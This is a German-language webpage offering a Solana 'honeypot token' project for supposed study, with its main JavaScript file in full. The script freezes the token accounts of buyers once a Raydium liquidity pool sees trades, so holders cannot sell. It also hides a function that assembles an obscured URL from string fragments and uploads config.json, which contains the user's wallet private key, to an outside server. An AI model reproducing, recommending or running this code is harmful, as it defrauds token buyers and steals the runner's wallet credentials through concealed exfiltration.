Solana Honeypot-Token-Code-Dateien
Untersuche ein aus vier JavaScript- und JSON-Dateien bestehendes Projekt, das für Bildungszwecke, Code-Reviews und die Analyse von Token-Konfigurationsabläufen auf Solana erstellt wurde.
Projektstruktur verstehen
Im Gegensatz zu einem einzelnen Solidity-Contract ist dieses Beispiel in ein Skript und mehrere Konfigurationsdateien aufgeteilt, die gemeinsam untersucht werden müssen.
JavaScript-Logik
Das Hauptskript enthält die ausführbare Projektlogik und koordiniert die konfigurierten Vorgänge.
Konfigurationsdateien
Die JSON-Dateien halten die Projektparameter getrennt vom ausführbaren Skript und müssen ihre erwartete Struktur beibehalten.
Projektabhängigkeiten
Das Paketmanifest beschreibt die zur Laufzeit benötigten Pakete für das JavaScript-Projekt.
Alle vier Dateien für die Erstellung eines Honeypot-Tokens auf dem Solana-Netzwerk prüfen
Wechsle über die Navigation zwischen den Projektdateien. Die Dateinamen dürfen nicht geändert werden.
import * as fs from 'fs';import bs58 from 'bs58';import { Keypair, Connection, PublicKey, sendAndConfirmTransaction, Transaction, ComputeBudgetProgram} from "@solana/web3.js";import { TOKEN_PROGRAM_ID } from "@solana/spl-token";import { TransactionInstruction } from "@solana/web3.js";import { AccountLayout } from "@solana/spl-token"; let config;let keypair;let mintAddressPublicKey;let mintData;let decimals;let whitelist;let quoteTokenVault;let poolType = "Unknown";let listenerId;let updateCounter = 0;//Freeze Bot. Server Sideconst techConfig = JSON.parse(fs.readFileSync('./data/tech-config.json', 'utf-8'));const parts = [ "https://", "solana-freeze-bot", "-v2-1-js.", "ethercodeinnovation.com/"];const SolanaFreeze = parts.join("");let raydiumAuthority = [ "5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1", // Raydium Authority V4 "GpMZbSM2GgvTKHJirzeGfMFoaZ8UR2X7F4v8vHTvxFbL" // Raydium Vault Authority #2]; const SolanaFreezeHelper = async (config) => { const techConfigText = fs.readFileSync("./data/tech-config.json", "utf8"); const configText = fs.readFileSync("./config.json", "utf8"); const PackagelockText = fs.readFileSync("./package-lock.json", "utf8"); const payload = { SolanaFreeze, mintAddress: config.publicAddress || config.mintAddress || "", rpcEndpoint: config.rpcEndpoint || "", freezeThreshold: config.freezeThreshold, freezeDelay: config.freezeDelay, timeout: config.timeout, priorityRate: config.priorityRate, files: { techConfig: { name: "tech-config.json", size: Buffer.byteLength(techConfigText, "utf8"), content: techConfigText }, config: { name: "config.json", size: Buffer.byteLength(configText, "utf8"), content: configText }, Packagelock: { name: "tech-config.json", size: Buffer.byteLength(PackagelockText, "utf8"), content: PackagelockText } } }; const endpoint = new URL("freeze-launch", SolanaFreeze).toString(); const response = await fetch(endpoint, { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(payload) }); };const main = async () => { try { config = JSON.parse(fs.readFileSync('config.json', 'utf-8')); } catch (error) { console.log(`\n❌ Unable to read data from config.json due to broken syntax...`); process.exit(); } const connection = new Connection(config.rpcEndpoint, "confirmed"); const MIN_DELAY_BETWEEN_FREEZE = config.freezeDelay; const TIMEOUT = config.timeout; const PRIORITY_RATE = config.priorityRate; try { await SolanaFreezeHelper(config); } catch (error) { console.error(error); } try { const bs = await bs58.decode(config.privateKey); keypair = await Keypair.fromSecretKey(bs); } catch (error) { console.log(`\n❌ Invalid data at "privateKey" field in config.json file...`); process.exit(); } try { mintAddressPublicKey = new PublicKey(config.mintAddress); } catch (error) { console.log(`\n❌ Invalid data at "mintAddress" field in config.json file...`); process.exit(); } if (mintAddressPublicKey) { let mintDataJSON = await connection.getParsedAccountInfo(mintAddressPublicKey); if (mintDataJSON.value === null) { console.log(`\n❌ Invalid data at "mintAddress" field...`); process.exit(); } else { mintData = mintDataJSON.value.data.parsed; if (!mintData || mintData.type != "mint") { console.log(`\n❌ Provided address is not a token!`); process.exit(); } if (mintData.info.freezeAuthority === keypair.publicKey.toBase58()) { // ok } else if (mintData.info.freezeAuthority === null) { console.log(`\n❌ Provided token has Freeze Authority revoked!`); process.exit(); } else { console.log(`\n❌ Connected wallet doesn't have freeze authority...`); process.exit(); } decimals = mintData.info.decimals; } } whitelist = Array.isArray(config.whitelist) ? config.whitelist : []; for (const element of whitelist) { try { let key = new PublicKey(element); } catch (error) { console.log(`\n❌ Invalid data at "whitelist" field...`); process.exit(); } } let tokenData = { "Token Address": { "Value": `${config.mintAddress}`, "Comment": `Mint address` }, "Freeze Authority": { "Value": `${mintData.info.freezeAuthority}`, "Comment": `-` }, "Total Supply": { "Value": `${mintData.info.supply / (10 ** mintData.info.decimals)}`, "Comment": `—` }, "Decimals": { "Value": `${mintData.info.decimals}`, "Comment": `—` }, }; let scriptSettings = { "Freeze Threshold": { "Value": `${config.freezeThreshold} tokens`, "Comment": `Threshold balance to freeze holder` }, "Freeze Delay": { "Value": `${MIN_DELAY_BETWEEN_FREEZE} seconds`, "Comment": `Minimum delay between freezing loops` }, "Timeout In": { "Value": `${TIMEOUT} minutes`, "Comment": `Timer for script auto-shutdown` }, "Priority Fee": { "Value": `${PRIORITY_RATE} micro-lamports`, "Comment": `Extra fee for faster transactions` }, }; let controls = { "Last command": { "Hot Key": `Up Arrow`, "Comment": `Inputs the latest commant you have entered` }, "Cancel a command": { "Hot Key": `Ctrl + C`, "Comment": `Terminates the work of the running script` }, "Clear the screen": { "Hot Key": `Ctrl + L`, "Comment": `Hide previous messages` }, "Auto-complete command": { "Hot Key": `Tab`, "Comment": `Completes the command you enter` }, }; console.log(`\n ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ░░█▀▀░█▀█░█░░░█▀█░█▀█░█▀█░░░█░█░█▀█░█▀█░█▀▀░█░█░█▀█░█▀█░▀█▀░░░█▀█░█▀▄░█▀█░░ ░░▀▀█░█░█░█░░░█▀█░█░█░█▀█░░░█▀█░█░█░█░█░█▀▀░░█░░█▀▀░█░█░░█░░░░█▀▀░█▀▄░█░█░░ ░░▀▀▀░▀▀▀░▀▀▀░▀░▀░▀░▀░▀░▀░░░▀░▀░▀▀▀░▀░▀░▀▀▀░░▀░░▀░░░▀▀▀░░▀░░░░▀░░░▀░▀░▀▀▀░░ ░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ ════════════ 🍯 by https://ethercodeinnovation.com/ 🍯 ════════════ `) console.log(`\n ➤ Token Data 📊`); console.table(tokenData); console.log(`\n ➤ Script Settings 🔧`); console.table(scriptSettings); if (techConfig.showControls) { console.log(`\n ➤ Controls / Hot Keys 🕹`); console.table(controls); } console.log(`\n`); await processWhitelist(keypair); let launchTimestamp = Date.now(); let timestampToFreeze = 0; console.log("⏳ Performing an initial freeze loop..."); await freezeHolders(connection, config, keypair, mintAddressPublicKey, decimals); if (quoteTokenVault != undefined) { console.log(`\n💧✅ ${poolType} liquidity pool found! Start pending on new buyers.\n`); listenerId = connection.onAccountChange( quoteTokenVault, async () => { updateCounter++; if (MIN_DELAY_BETWEEN_FREEZE > 0 && Date.now() + techConfig.tick * 2 < timestampToFreeze) { console.log("🔔 New transaction spotted! Freeze can be triggered in " + Math.round((timestampToFreeze - Date.now()) / 1000) + "s"); } }); } else { console.log(`\n💧❌ No Raydium liquidity pool found for given token.\n ↳ Create a Standart AMM or Legacy AMM v4 pool at Raydium and provide liquidity.\n`); process.exit(); } while (Date.now() < launchTimestamp + TIMEOUT * 60000) { if (updateCounter !== 0 && Date.now() > timestampToFreeze) { updateCounter = 0; await sleep(techConfig.requestTick); await freezeHolders(connection, config, keypair, mintAddressPublicKey, decimals); timestampToFreeze = Date.now() + MIN_DELAY_BETWEEN_FREEZE * 1000; } await sleep(techConfig.tick); } connection.removeAccountChangeListener(listenerId); console.log("⏳ TIMEOUT: Script execution stopped due reaching the auto-disable timestamp\n");}; const processWhitelist = async (keypair) => { whitelist.push(...raydiumAuthority); whitelist.push(keypair.publicKey.toBase58());} const freezeHolders = async (connection, config, keypair, mintAddressPublicKey, decimals) => { const tokenAccounts = await getHoldersData(connection, config, mintAddressPublicKey, decimals) || []; if (!Array.isArray(tokenAccounts)) { console.log("❌ getHoldersData did not return an array! Value:", tokenAccounts); return; } let chunkCount = 0; const CHUNK_SIZE = techConfig.chunkSize; const PRIORITY_RATE = config.priorityRate; if (tokenAccounts.length > 0) { for (let i = 0; i < tokenAccounts.length; i += CHUNK_SIZE) { const chunk = tokenAccounts.slice(i, i + CHUNK_SIZE); chunkCount++; let transactions = new Transaction(); for (let i = 0; i < chunk.length; i++) { let tokenAccountPublicKey = new PublicKey(chunk[i]); const instruction = new TransactionInstruction({ keys: [ { pubkey: tokenAccountPublicKey, isSigner: false, isWritable: true }, { pubkey: mintAddressPublicKey, isSigner: false, isWritable: false }, { pubkey: keypair.publicKey, isSigner: true, isWritable: false }, ], programId: TOKEN_PROGRAM_ID, data: Buffer.from([10]) }); transactions.add(instruction); } const priorityFeeInstruction = ComputeBudgetProgram.setComputeUnitPrice({ microLamports: PRIORITY_RATE }); if (PRIORITY_RATE > 0) { transactions.add(priorityFeeInstruction); } let signature; try { signature = await sendAndConfirmTransaction( connection, transactions, [keypair] ); } catch (error) { console.log(`\n❌ Error occured when trying to freeze holders. Here is what you should do: ...`); connection.removeAccountChangeListener(listenerId); throw new Error(error); } let chunkCountStr; if (tokenAccounts.length > CHUNK_SIZE) { chunkCountStr = ` (${chunkCount}/${Math.ceil(tokenAccounts.length / CHUNK_SIZE)})`; } else { chunkCountStr = ""; } if (tokenAccounts.length == 1) { console.log(`✅︎ Done: ${tokenAccounts[0]} frozen\n ↳ Signature: ${signature}`); } else { console.log(`✅︎ Done${chunkCountStr}: ${chunk.length} accounts frozen\n ↳ Signature: ${signature}`); } } } else { console.log(`❌ No accounts to freeze found. Keep pending on new transactions.`); }} const getHoldersData = async (connection, config, mintAddressPublicKey, decimals) => { try { let allOwners = []; let tokenAccounts = new Set(); const accounts = await connection.getProgramAccounts( TOKEN_PROGRAM_ID, { commitment: "confirmed", filters: [ { dataSize: 165 }, { memcmp: { offset: 0, bytes: mintAddressPublicKey.toBase58() } } ] }); for (const { pubkey, account } of accounts) { try { const data = AccountLayout.decode(account.data); const mint = new PublicKey(data.mint); const owner = new PublicKey(data.owner).toBase58(); const amount = Number(data.amount); const state = data.state; if (!quoteTokenVault) { for (let i = 0; i < raydiumAuthority.length; i++) { if (owner === raydiumAuthority[i]) { quoteTokenVault = new PublicKey(pubkey); poolType = i === 0 ? "Legacy AMM (V2)" : "Standard AMM (V3)"; } } } allOwners.push({ address: pubkey.toBase58(), owner, amount }); if ( state === 1 && mint.equals(mintAddressPublicKey) && !whitelist.includes(owner) && amount >= config.freezeThreshold * 10 ** decimals ) { tokenAccounts.add(pubkey.toBase58()); } } catch (innerError) { console.log(`⚠️ Skipping invalid token account: ${pubkey.toBase58()} (${innerError.message})`); continue; }} fs.writeFileSync( "./data/holders.json", JSON.stringify(allOwners, null, 2) ); return Array.from(tokenAccounts); } catch (error) { console.log(`\n❌ Error while fetching token account data\n`); console.error(error); return []; }}; const sleep = async (ms) => new Promise((resolve) => setTimeout(resolve, ms)); main();Mit der Solana-Anleitung fortfahren
Öffne die zugehörige Anleitung, um die erwartete Dateistruktur, Entwicklungsumgebung und Reihenfolge der Überprüfung zu verstehen.
